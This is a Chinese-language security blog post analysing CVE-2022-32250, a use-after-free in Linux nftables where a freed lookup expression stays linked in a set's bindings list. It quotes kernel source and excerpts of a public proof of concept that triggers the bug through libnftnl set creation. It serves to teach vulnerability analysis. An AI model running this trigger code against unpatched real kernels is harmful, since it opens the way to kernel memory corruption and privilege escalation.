本文首发于蚁景网安
前言
在nftales
中存在着集合(sets
),用于存储唯一值的集合。sets
提供了高效地检查一个元素是否存在于集合中的机制,它可以用于各种网络过滤和转发规则。
而CVE-2022-32250
漏洞则是由于nftables
在处理set
时存在uaf
的漏洞。
环境搭建
ubuntu20 + QEMU-4.2.1 + Linux-5.15
.config
文件
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_USER_NS=y
,开启命名空间
开启KASAN
:make menuconfig --> Kernel hacking -->Memory Debugging --> KASAN
在ubuntu20
直接安装的libnftnl
版本太低,因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下载
1 2
| ./configure --prefix=/usr && make sudo make install
|
漏洞验证
poc
:https://seclists.org/oss-sec/2022/q2/159
在运行poc
时,KASAN
检测出存在uaf
漏洞
漏洞原理
从KASAN
给出的信息可知,该漏洞与set
有关,因此从set
的创建到使用进行源码分析。
在nf_tables_newset
内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID
是否被设置,若这些条件不具备则直接返回。
1 2 3 4 5 6 7 8 9 10 11 12 13
| File: linux-5.15\net\netfilter\nf_tables_api.c 4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info, 4206: const struct nlattr * const nla[]) 4207: { ... 4227: if (nla[NFTA_SET_TABLE] == NULL || 4228: nla[NFTA_SET_NAME] == NULL || 4229: nla[NFTA_SET_KEY_LEN] == NULL || 4230: nla[NFTA_SET_ID] == NULL) 4231: return -EINVAL; ...
|
集合通过kvzalloc
函数开辟空间
1 2 3 4 5 6
| File: linux-5.15\net\netfilter\nf_tables_api.c ... 4369: set = kvzalloc(alloc_size, GFP_KERNEL); 4370: if (!set) 4371: return -ENOMEM; ...
|
在成功创建集合后,就会进行初始化的过程,有一个变量需要重点关注,即set->bindings
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| File: linux-5.15\net\netfilter\nf_tables_api.c ... 4390: INIT_LIST_HEAD(&set->bindings); 4391: INIT_LIST_HEAD(&set->catchall_list); 4392: set->table = table; 4393: write_pnet(&set->net, net); 4394: set->ops = ops; 4395: set->ktype = ktype; 4396: set->klen = desc.klen; 4397: set->dtype = dtype; 4398: set->objtype = objtype; 4399: set->dlen = desc.dlen; 4400: set->flags = flags; 4401: set->size = desc.size; 4402: set->policy = policy; 4403: set->udlen = udlen; 4404: set->udata = udata; 4405: set->timeout = timeout; 4406: set->gc_int = gc_int; ...
|
当初始化完毕之后,会去判断创建集合时,该集合是否有需要创建的表达式。
1 2 3 4 5 6 7 8 9 10 11 12
| File: linux-5.15\net\netfilter\nf_tables_api.c ... 4416: if (nla[NFTA_SET_EXPR]) { 4417: expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); 4418: if (IS_ERR(expr)) { 4419: err = PTR_ERR(expr); 4420: goto err_set_expr_alloc; 4421: } 4422: set->exprs[0] = expr; 4423: set->num_exprs++; ...
|
在代码[1]处会对表达式进行初始化,紧接着在代码[2]处会对表达式的标志位进行校验,当表达式的标志位不具备NFT_EXPR_STATEFUL
属性,那么就会跳转到[3]中进行销毁表达式的处理,紧接着返回错误。这里似乎会存在问题,因为代表[1]与[2]是先创建表达式再检验,就会导致任意的表达式被创建。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| File: linux-5.15\net\netfilter\nf_tables_api.c 5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx, 5310: const struct nft_set *set, 5311: const struct nlattr *attr) 5312: { 5313: struct nft_expr *expr; 5314: int err; 5315: 5316: expr = nft_expr_init(ctx, attr); --->[1] 5317: if (IS_ERR(expr)) 5318: return expr; 5319: 5320: err = -EOPNOTSUPP; 5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2] 5322: goto err_set_elem_expr; 5323: ... 5334: err_set_elem_expr: 5335: nft_expr_destroy(ctx, expr); --->[3] 5336: return ERR_PTR(err); 5337: }
|
回顾KASAN
的报告,发现该漏洞与表达式nft_lookup
有关,因此接下来关注一下lookup
表达式初始化的过程。
lookup
表达式的结构体如下,可以看到在lookup
结构体里存在着binding
变量,是上面set
会初始化的一个变量。
1 2 3 4 5 6 7
| struct nft_lookup { struct nft_set *set; u8 sreg; u8 dreg; bool invert; struct nft_set_binding binding; };
|
nft_set_bing
结构体实则是维护了一个双链表。
1 2 3 4 5
| struct nft_set_binding { struct list_head list; const struct nft_chain *chain; u32 flags; };
|
nft_lookup_init
函数负责初始化lookup
表达式,可以看到需要set
与源寄存器都存在的情况下才能够完成创建。
1 2 3 4 5 6 7 8 9 10 11 12
| File: linux-5.15\net\netfilter\nft_lookup.c 095: static int nft_lookup_init(const struct nft_ctx *ctx, 096: const struct nft_expr *expr, 097: const struct nlattr * const tb[]) 098: { ... 105: if (tb[NFTA_LOOKUP_SET] == NULL || 106: tb[NFTA_LOOKUP_SREG] == NULL) 107: return -EINVAL; ...
|
紧接着检索需要搜索的set
。
1 2 3 4 5 6 7
| File: linux-5.15\net\netfilter\nft_lookup.c ... 109: set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET], 110: tb[NFTA_LOOKUP_SET_ID], genmask); 111: if (IS_ERR(set)) 112: return PTR_ERR(set); ...
|
最后在完成了set
的搜索后,就会进行一个绑定操作,会将表达式的binging
接入的set
的binding
。
1 2 3 4 5 6
| File: linux-5.15\net\netfilter\nft_lookup.c ... 148: err = nf_tables_bind_set(ctx, set, &priv->binding); 149: if (err < 0) 150: return err; ...
|
首先在绑定之前会校验链表是否是匿名并且非空。
1 2 3 4 5 6 7 8 9
| File: linux-5.15\net\netfilter\nf_tables_api.c 4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set, 4607: struct nft_set_binding *binding) 4608: { ... 4615: if (!list_empty(&set->bindings) && nft_set_is_anonymous(set)) 4616: return -EBUSY; ...
|
在通过上面的检测后,就会将当前表达式的加入到set
中,
1 2 3 4 5
| File: linux-5.15\net\netfilter\nf_tables_api.c ... 4643: list_add_tail_rcu(&binding->list, &set->bindings); ...
|
综上所述,bing
的作用实则是维护相同set
下的不同的表达式。具体流程如下。
在set
创建时,会初始化bindings
指向自己本身。
紧接着若有lookup
表达式创建,并绑定上述的set
时,因此通过set
的bingdings
,可以检索在当前set
上的所有expr
。
在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL
,如[2]所示
1 2
| 5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2] 5322: goto err_set_elem_expr;
|
在初始化lookup
表达式时,是不会给flags
设置值的,因此默认值即为0
,因此在创建set
的同时创建lookup
表达式,lookup
表达式的类型是默认为0
,是无法绕过检测的。
1 2 3 4 5 6 7
| struct nft_expr_type nft_lookup_type __read_mostly = { .name = "lookup", .ops = &nft_lookup_ops, .policy = nft_lookup_policy, .maxattr = NFTA_LOOKUP_MAX, .owner = THIS_MODULE, };
|
那么就会进入销毁表达式[3]
1 2 3
| 5334: err_set_elem_expr: 5335: nft_expr_destroy(ctx, expr); --->[3] 5336: return ERR_PTR(err);
|
nft_expr_destory
函数内除了是否表达式外还会调用nf_tables_expr_destroy
函数
1 2 3 4 5 6
| File: linux-5.15\net\netfilter\nf_tables_api.c 2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr) 2824: { 2825: nf_tables_expr_destroy(ctx, expr); 2826: kfree(expr); 2827: }
|
在nf_tables_exor_destroy
函数会调用表达式的destroy
操作
1 2 3 4 5 6 7 8 9 10
| File: linux-5.15\net\netfilter\nf_tables_api.c 2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx, 2762: struct nft_expr *expr) 2763: { 2764: const struct nft_expr_type *type = expr->ops->type; 2765: 2766: if (expr->ops->destroy) 2767: expr->ops->destroy(ctx, expr); 2768: module_put(type->owner); 2769: }
|
nft_lookup_destroy
函数内部调用了nf_tables_destroy_set
函数
1 2 3 4 5 6 7 8
| File: linux-5.15\net\netfilter\nft_lookup.c 173: static void nft_lookup_destroy(const struct nft_ctx *ctx, 174: const struct nft_expr *expr) 175: { 176: struct nft_lookup *priv = nft_expr_priv(expr); 177: 178: nf_tables_destroy_set(ctx, priv->set); 179: }
|
在nf_tables_destroy_set
函数内部中有一个简单的判断,若不成立那么实际上nf_tables_destroy_set
不会做任何操作。那么就会造成一个漏洞,若我们创建的表达式lookup
已经被绑定在set
上,因此list_empty(&set->bindings
为0
,那么就会导致destroy
操作不会执行任何操作。就会将lookup
表达式残留在set->bingdings
中。
1 2 3 4 5 6
| File: linux-5.15\net\netfilter\nf_tables_api.c 4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set) 4684: { 4685: if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) 4686: nft_set_destroy(ctx, set); 4687: }
|
由于lookup->destory
不会执行任何操作,就会导致lookup
表达式仍然残留在set->bingdings
上,但是由于表达式的标志位不能通过校验,随后该表达式就会被释放。
POC分析
首先创建一个名为set_stable
的set
,为后续创建lookup
表达式做准备。
1 2 3 4 5 6
| set_name = "set_stable"; nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1); nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);
|
紧接着创建名为set_trigger
的set
,并同时将标志位设置为NFT_SET_EXPR
,那么就能在创建set
的同时创建表达式,创建的表达式为lookup
表达式,并且搜索的set
的名为set_stable
,这里需要注意的是,第一个创建的set
是为了后续的lookup
表达式提供搜索的set
,而第二次的set
是为了创建set
的同时创建lookup
表达式,因此第二个set
的作用仅仅是为了创建lookup
表达式。
1 2 3 4 5 6 7 8 9 10 11 12
| set_name = "set_trigger"; nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR); nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1); nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id); exprs[exprid] = nftnl_expr_alloc("lookup"); nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
nftnl_set_add_expr(set_trigger, exprs[exprid]);
|
最后就是触发漏洞,第三次的set
同样的也仅仅是为了创建lookup
表达式,由于此时名为set_stable
的set->bingdings
还存在着被释放掉的lookup
表达式的指针,因此在第三次创建的时候就会将新创建的lookup
表达式链接到上述已经被释放的lookup
表达式中,从而导致的uaf
漏洞。
1 2 3 4 5 6 7 8 9 10
| set_name = "set_uaf"; nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR); nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1); nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id); exprs[exprid] = nftnl_expr_alloc("lookup"); nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
|
参考链接
https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://seclists.org/oss-sec/2022/q2/159